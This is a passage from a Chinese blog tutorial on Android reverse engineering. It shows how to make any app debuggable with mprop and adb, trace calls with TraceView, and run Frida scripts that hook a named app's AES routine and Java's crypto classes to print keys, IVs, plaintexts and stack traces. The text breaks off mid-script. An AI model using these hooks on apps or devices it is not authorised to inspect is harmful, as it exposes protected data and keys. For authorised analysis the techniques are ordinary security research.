    <published>2020-01-07T15:38:13.000Z</published>
    <updated>2020-01-07T15:39:13.265Z</updated>
    
    <content type="html"><![CDATA[<h3><span id="traceviewfrida">Traceview+frida</span></h3><p>TraceView 是 Android SDK 中内置的一个工具，它可以加载 <strong>trace</strong> 文件，用图形的形式展示<strong>代码的执行时间、次数及调用栈</strong>。</p><h4><span id="利用mprop工具修改当前手机应用都可以调试">利用mprop工具修改当前手机应用都可以调试</span></h4><p>​    使用DDMS时，只能看到手机，看不到进程信息，这样我们就不能获取指定进程的信息</p><p>​    如果需要调试android 的程序，以下两个条件满足一个就行。第一是apk的配置文件内的AndroidManifest.xml的 android:debuggable=”true”，第二就是/default.prop中ro.debuggable=1。两种方式第一种通常是解包添加属性再打包，随着加壳软件以及apk校验等，容易出现安装包异常。第二种由于一般的手机发布时ro.debuggable一般是0 也就是不允许调试，通过修改rom的办法在手机上比较麻烦，需要刷机等等，模拟器上一般是vmdk的虚拟机，也没法修改rom。</p><p>​    这里我们可以直接用mprop这个工具，可以直接修改android属性。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578290999051.png" alt="1578290999051"></p><p>同样有不同的版本，通过adb上传到模拟机，修改属性值。</p><p>arm:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">adb push .\libs\armeabi-v7a\mprop /data/local/tmp/</span><br><span class="line">adb shell &quot;chmod 755 /data/local/tmp/mprop&quot;</span><br><span class="line">adb shell &quot;/data/local/tmp/mprop&quot;</span><br><span class="line">adb shell &quot;setprop ro.debuggable 1&quot;</span><br></pre></td></tr></table></figure><p>x86:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">adb push .\libs\x86\mprop /data/local/tmp/</span><br><span class="line">adb shell &quot;chmod 755 /data/local/tmp/mprop&quot;</span><br><span class="line">adb shell &quot;/data/local/tmp/mprop&quot;</span><br><span class="line">adb shell &quot;setprop ro.debuggable 1&quot;</span><br></pre></td></tr></table></figure><p>这样我们就能看到进行信息了</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578291249889.png" alt="1578291249889"></p><h4><span id="traceview-追踪函数">TraceView 追踪函数</span></h4><p>这里用到的是DDMS中的traceview工具，直接下载android-sdk工具包，运行里面的ddms.bat即可。</p><p>如图选定进程名，选择Trace based profiling。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578291346817.png" alt="1578291346817"></p><p>触发APP条件事件（比如Click或者刷新）生成.trace文件，这样我们就可以看到整个用堆栈过程。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578305250868.png" alt="1578305250868"></p><p>对比AES的解密实现，只需要如下三个点得到，key、模式和iv值就行了。</p><p><img src="https://uknowsec-1251971873.cos.ap-shanghai.myqcloud.com\1578292369510.png" alt="1578292369510"></p><p>key值和iv值是构造函数，根据hook构造函数的方法，要用到<code>$init</code>，并且要<code>return this.$init(arg1,arg2)</code>调用原始的函数实现，同时<code>IvParameterSpec</code>方法的参数是一个比特数组的重载函数。</p><p>Java中比特数组表示为<code>[B</code>，其他类型的数组如下表示。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[Z = boolean</span><br><span class="line">[B = byte</span><br><span class="line">[S = short</span><br><span class="line">[I = int</span><br><span class="line">[J = long</span><br><span class="line">[F = float</span><br><span class="line">[D = double</span><br><span class="line">[C = char</span><br><span class="line">[L = any non-primitives(Object)</span><br></pre></td></tr></table></figure><p>在frida利用如下方式输出比特数组：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">for (i=0;i&lt;arg1.length;i++)</span><br><span class="line">   &#123;</span><br><span class="line">       b=(arg1[i]&gt;&gt;&gt;0)&amp;0xff;</span><br><span class="line">       n=b.toString(16);</span><br><span class="line">       hexstr += (&quot;00&quot; + n).slice(-2)+&quot; &quot;;</span><br><span class="line">   &#125;</span><br></pre></td></tr></table></figure><p>完整jscode:</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line">Java.perform(<span class="function"><span class="keyword">function</span> <span class="title">x</span>(<span class="params"></span>) </span>&#123;</span><br><span class="line">    <span class="comment">// Function to hook is defined here</span></span><br><span class="line">    <span class="keyword">var</span> UtiEncrypt = Java.use(<span class="string">'com.bianlidai123.bc.encrypt.UtiEncrypt'</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Whenever button is clicked</span></span><br><span class="line">    UtiEncrypt.decryptAES.overload(<span class="string">'java.lang.String'</span>).implementation = <span class="function"><span class="keyword">function</span> (<span class="params">arg1</span>) </span>&#123;</span><br><span class="line">        <span class="comment">// Show a message to know that the function got called</span></span><br><span class="line">       </span><br><span class="line"></span><br><span class="line">       <span class="keyword">var</span> sign=<span class="keyword">this</span>.decryptAES(arg1);</span><br><span class="line">             </span><br><span class="line">       send(<span class="string">"arg1:"</span>+arg1);</span><br><span class="line">       send(<span class="string">"sign:"</span>+sign);</span><br><span class="line">       <span class="keyword">return</span> sign;</span><br><span class="line">       </span><br><span class="line">    &#125;;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">var</span> Cipher = Java.use(<span class="string">'javax.crypto.Cipher'</span>);</span><br><span class="line">    Cipher.getInstance.overload(<span class="string">'java.lang.String'</span>).implementation = <span class="function"><span class="keyword">function</span> (<span class="params">arg1</span>) </span>&#123;</span><br><span class="line">         <span class="keyword">var</span> sign2=<span class="keyword">this</span>.getInstance(arg1);</span><br><span class="line">         send(<span class="string">"Instance:"</span>+arg1);</span><br><span class="line">         <span class="keyword">return</span> sign2;</span><br><span class="line">    </span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> SecretKeySpec = Java.use(<span class="string">'javax.crypto.spec.SecretKeySpec'</span>);</span><br><span class="line">    SecretKeySpec.$init.overload(<span class="string">'[B'</span>, <span class="string">'java.lang.String'</span>).implementation = <span class="function"><span class="keyword">function</span> (<span class="params">arg1,arg2</span>) </span>&#123;</span><br><span class="line">     hexstr=<span class="string">""</span>;</span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;arg1.length;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        b=(arg1[i]&gt;&gt;&gt;<span class="number">0</span>)&amp;<span class="number">0xff</span>;</span><br><span class="line">        n=b.toString(<span class="number">16</span>);</span><br><span class="line">        hexstr += (<span class="string">"00"</span> + n).slice(<span class="number">-2</span>)+<span class="string">" "</span>;</span><br><span class="line">    &#125;</span><br><span class="line">        send(<span class="string">"Key: "</span> + hexstr);</span><br><span class="line">      <span class="comment">//send("init1:"+arg1+arg2);</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.$init(arg1,arg2);</span><br><span class="line">    </span><br><span class="line">    &#125;;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">var</span> IvParameterSpec = Java.use(<span class="string">'javax.crypto.spec.IvParameterSpec'</span>);</span><br><span class="line">    IvParameterSpec.$init.overload(<span class="string">'[B'</span>).implementation = <span class="function"><span class="keyword">function</span> (<span class="params">arg1</span>) </span>&#123;</span><br><span class="line">    hexstr=<span class="string">""</span>;</span><br><span class="line">    <span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;arg1.length;i++)</span><br><span class="line">    &#123;</span><br><span class="line">        b=(arg1[i]&gt;&gt;&gt;<span class="number">0</span>)&amp;<span class="number">0xff</span>;</span><br><span class="line">        n=b.toString(<span class="number">16</span>);</span><br><span class="line">        hexstr += (<span class="string">"00"</span> + n).slice(<span class="number">-2</span>)+<span class="string">" "</span>;</span><br><span class="line">    &#125;</span><br><span class="line">        send(<span class="string">"Iv: "</span> + hexstr);</span><br><span class="line">      <span class="comment">//send("init4:"+arg1);</span></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">this</span>.$init(arg1);</span><br><span class="line">    </span><br><span class="line">    &#125;;</span><br><span class="line">    </span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h3><span id="hook-java原生算法同时打印调用堆栈">hook java原生算法同时打印调用堆栈</span></h3><p>如下脚本可以hook java原生MD5、MAC、DES、AES、RSA加密算法并打印出调用堆栈，简单暴力。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: UTF-8 -*-</span></span><br><span class="line"><span class="keyword">import</span> frida, sys</span><br><span class="line"> </span><br><span class="line">jsCode = <span class="string">"""</span></span><br><span class="line"><span class="string">function showStacks() &#123;</span></span><br><span class="line"><span class="string">    Java.perform(function() &#123;</span></span><br><span class="line"><span class="string">        send(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()));</span></span><br><span class="line"><span class="string">    &#125;);</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">function bytesToHex(arr) &#123;</span></span><br><span class="line"><span class="string">    var str = "";</span></span><br><span class="line"><span class="string">    for (var i = 0; i &lt; arr.length; i++) &#123;</span></span><br><span class="line"><span class="string">        var tmp = arr[i];</span></span><br><span class="line"><span class="string">        if (tmp &lt; 0) &#123;</span></span><br><span class="line"><span class="string">            tmp = (255 + tmp + 1).toString(16);</span></span><br><span class="line"><span class="string">        &#125; else &#123;</span></span><br><span class="line"><span class="string">            tmp = tmp.toString(16);</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">        if (tmp.length == 1) &#123;</span></span><br><span class="line"><span class="string">            tmp = "0" + tmp;</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">        str += tmp;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    return str;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">function bytesToBase64(e) &#123;</span></span><br><span class="line"><span class="string">    var base64EncodeChars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';</span></span><br><span class="line"><span class="string">    var r, a, c, h, o, t;</span></span><br><span class="line"><span class="string">    for (c = e.length, a = 0, r = ''; a &lt; c;) &#123;</span></span><br><span class="line"><span class="string">        if (h = 255 &amp; e[a++], a == c) &#123;</span></span><br><span class="line"><span class="string">            r += base64EncodeChars.charAt(h &gt;&gt; 2),</span></span><br><span class="line"><span class="string">            r += base64EncodeChars.charAt((3 &amp; h) &lt;&lt; 4),</span></span><br><span class="line"><span class="string">            r += '==';</span></span><br><span class="line"><span class="string">            break</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">        if (o = e[a++], a == c) &#123;</span></span><br><span class="line"><span class="string">            r += base64EncodeChars.charAt(h &gt;&gt; 2),</span></span><br><span class="line"><span class="string">            r += base64EncodeChars.charAt((3 &amp; h) &lt;&lt; 4 | (240 &amp; o) &gt;&gt; 4),</span></span><br><span class="line"><span class="string">            r += base64EncodeChars.charAt((15 &amp; o) &lt;&lt; 2),</span></span><br><span class="line"><span class="string">            r += '=';</span></span><br><span class="line"><span class="string">            break</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">        t = e[a++],</span></span><br><span class="line"><span class="string">        r += base64EncodeChars.charAt(h &gt;&gt; 2),</span></span><br><span class="line"><span class="string">        r += base64EncodeChars.charAt((3 &amp; h) &lt;&lt; 4 | (240 &amp; o) &gt;&gt; 4),</span></span><br><span class="line"><span class="string">        r += base64EncodeChars.charAt((15 &amp; o) &lt;&lt; 2 | (192 &amp; t) &gt;&gt; 6),</span></span><br><span class="line"><span class="string">        r += base64EncodeChars.charAt(63 &amp; t)</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    return r</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string">function bytesToString(arr) &#123;</span></span><br><span class="line"><span class="string">    if (typeof arr === 'string') &#123;</span></span><br><span class="line"><span class="string">        return arr;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    var str = '',</span></span><br><span class="line"><span class="string">    _arr = arr;</span></span><br><span class="line"><span class="string">    for (var i = 0; i &lt; _arr.length; i++) &#123;</span></span><br><span class="line"><span class="string">        var one = _arr[i].toString(2),</span></span><br><span class="line"><span class="string">        v = one.match(/^1+?(?=0)/);</span></span><br><span class="line"><span class="string">        if (v &amp;&amp; one.length == 8) &#123;</span></span><br><span class="line"><span class="string">            var bytesLength = v[0].length;</span></span><br><span class="line"><span class="string">            var store = _arr[i].toString(2).slice(7 - bytesLength);</span></span><br><span class="line"><span class="string">            for (var st = 1; st &lt; bytesLength; st++) &#123;</span></span><br><span class="line"><span class="string">                store += _arr[st + i].toString(2).slice(2);</span></span><br><span class="line"><span class="string">            &#125;</span></span><br><span class="line"><span class="string">            str += String.fromCharCode(parseInt(store, 2));</span></span><br><span class="line"><span class="string">            i += bytesLength - 1;</span></span><br><span class="line"><span class="string">        &#125; else &#123;</span></span><br><span class="line"><span class="string">            str += String.fromCharCode(_arr[i]);</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    return str;</span></span><br><span class="line"><span class="string">&#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">Java.perform(function () &#123;</span></span><br><span class="line"><span class="string">    var secretKeySpec = Java.use('javax.crypto.spec.SecretKeySpec');</span></span><br><span class="line"><span class="string">    secretKeySpec.$init.overload('[B','java.lang.String').implementation = function (a,b) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.$init(a, b);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("算法名：" + b + "|Dec密钥:" + bytesToString(a));</span></span><br><span class="line"><span class="string">        send("算法名：" + b + "|Hex密钥:" + bytesToHex(a));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    var mac = Java.use('javax.crypto.Mac');</span></span><br><span class="line"><span class="string">    mac.getInstance.overload('java.lang.String').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.getInstance(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("算法名：" + a);</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    mac.update.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        this.update(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("update:" + bytesToString(a))</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    mac.update.overload('[B','int','int').implementation = function (a,b,c) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        this.update(a,b,c)</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("update:" + bytesToString(a) + "|" + b + "|" + c);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    mac.doFinal.overload().implementation = function () &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.doFinal();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("doFinal结果(hex):" + bytesToHex(result));</span></span><br><span class="line"><span class="string">        send("doFinal结果(base64):" + bytesToBase64(result));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    mac.doFinal.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.doFinal(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("doFinal参数:" + bytesToString(a));</span></span><br><span class="line"><span class="string">        send("doFinal结果(hex):" + bytesToHex(result));</span></span><br><span class="line"><span class="string">        send("doFinal结果(base):" + bytesToBase64(result));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">        var md = Java.use('java.security.MessageDigest');</span></span><br><span class="line"><span class="string">    md.getInstance.overload('java.lang.String','java.lang.String').implementation = function (a,b) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("算法名：" + a);</span></span><br><span class="line"><span class="string">        return this.getInstance(a, b);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    md.getInstance.overload('java.lang.String').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("算法名：" + a);</span></span><br><span class="line"><span class="string">        return this.getInstance(a);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    md.update.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("update:" + bytesToString(a))</span></span><br><span class="line"><span class="string">        return this.update(a);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    md.update.overload('[B','int','int').implementation = function (a,b,c) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("update:" + bytesToString(a) + "|" + b + "|" + c);</span></span><br><span class="line"><span class="string">        return this.update(a,b,c);</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    md.digest.overload().implementation = function () &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        var result = this.digest();</span></span><br><span class="line"><span class="string">        send("digest结果(hex):" + bytesToHex(result));</span></span><br><span class="line"><span class="string">        send("digest结果(base64):" + bytesToBase64(result));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    md.digest.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("digest参数:" + bytesToString(a));</span></span><br><span class="line"><span class="string">        var result = this.digest(a);</span></span><br><span class="line"><span class="string">        send("digest结果(hex):" + bytesToHex(result));</span></span><br><span class="line"><span class="string">        send("digest结果(base64):" + bytesToBase64(result));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">        var ivParameterSpec = Java.use('javax.crypto.spec.IvParameterSpec');</span></span><br><span class="line"><span class="string">    ivParameterSpec.$init.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.$init(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("iv向量:" + bytesToString(a));</span></span><br><span class="line"><span class="string">        send("iv向量(hex):" + bytesToHex(a));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    var cipher = Java.use('javax.crypto.Cipher');</span></span><br><span class="line"><span class="string">    cipher.getInstance.overload('java.lang.String').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.getInstance(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("模式填充:" + a);</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    cipher.update.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.update(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("update:" + bytesToString(a));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    cipher.update.overload('[B','int','int').implementation = function (a,b,c) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.update(a,b,c);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("update:" + bytesToString(a) + "|" + b + "|" + c);</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    cipher.doFinal.overload().implementation = function () &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.doFinal();</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("doFinal结果(hex):" + bytesToHex(result));</span></span><br><span class="line"><span class="string">        send("doFinal结果(base64):" + bytesToBase64(result));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    cipher.doFinal.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.doFinal(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("doFinal参数:" + bytesToString(a));</span></span><br><span class="line"><span class="string">        send("doFinal结果(hex):" + bytesToHex(result));</span></span><br><span class="line"><span class="string">        send("doFinal结果(base64):" + bytesToBase64(result));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    var x509EncodedKeySpec = Java.use('java.security.spec.X509EncodedKeySpec');</span></span><br><span class="line"><span class="string">    x509EncodedKeySpec.$init.overload('[B').implementation = function (a) &#123;</span></span><br><span class="line"><span class="string">        showStacks();</span></span><br><span class="line"><span class="string">        var result = this.$init(a);</span></span><br><span class="line"><span class="string">        send("======================================");</span></span><br><span class="line"><span class="string">        send("RSA密钥:" + bytesToBase64(a));</span></span><br><span class="line"><span class="string">        return result;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    var rSAPublicKeySpec = Java.use('java.security.spec.RSAPublicKeySpec');</span></span><br><span class="line"><span class="string">    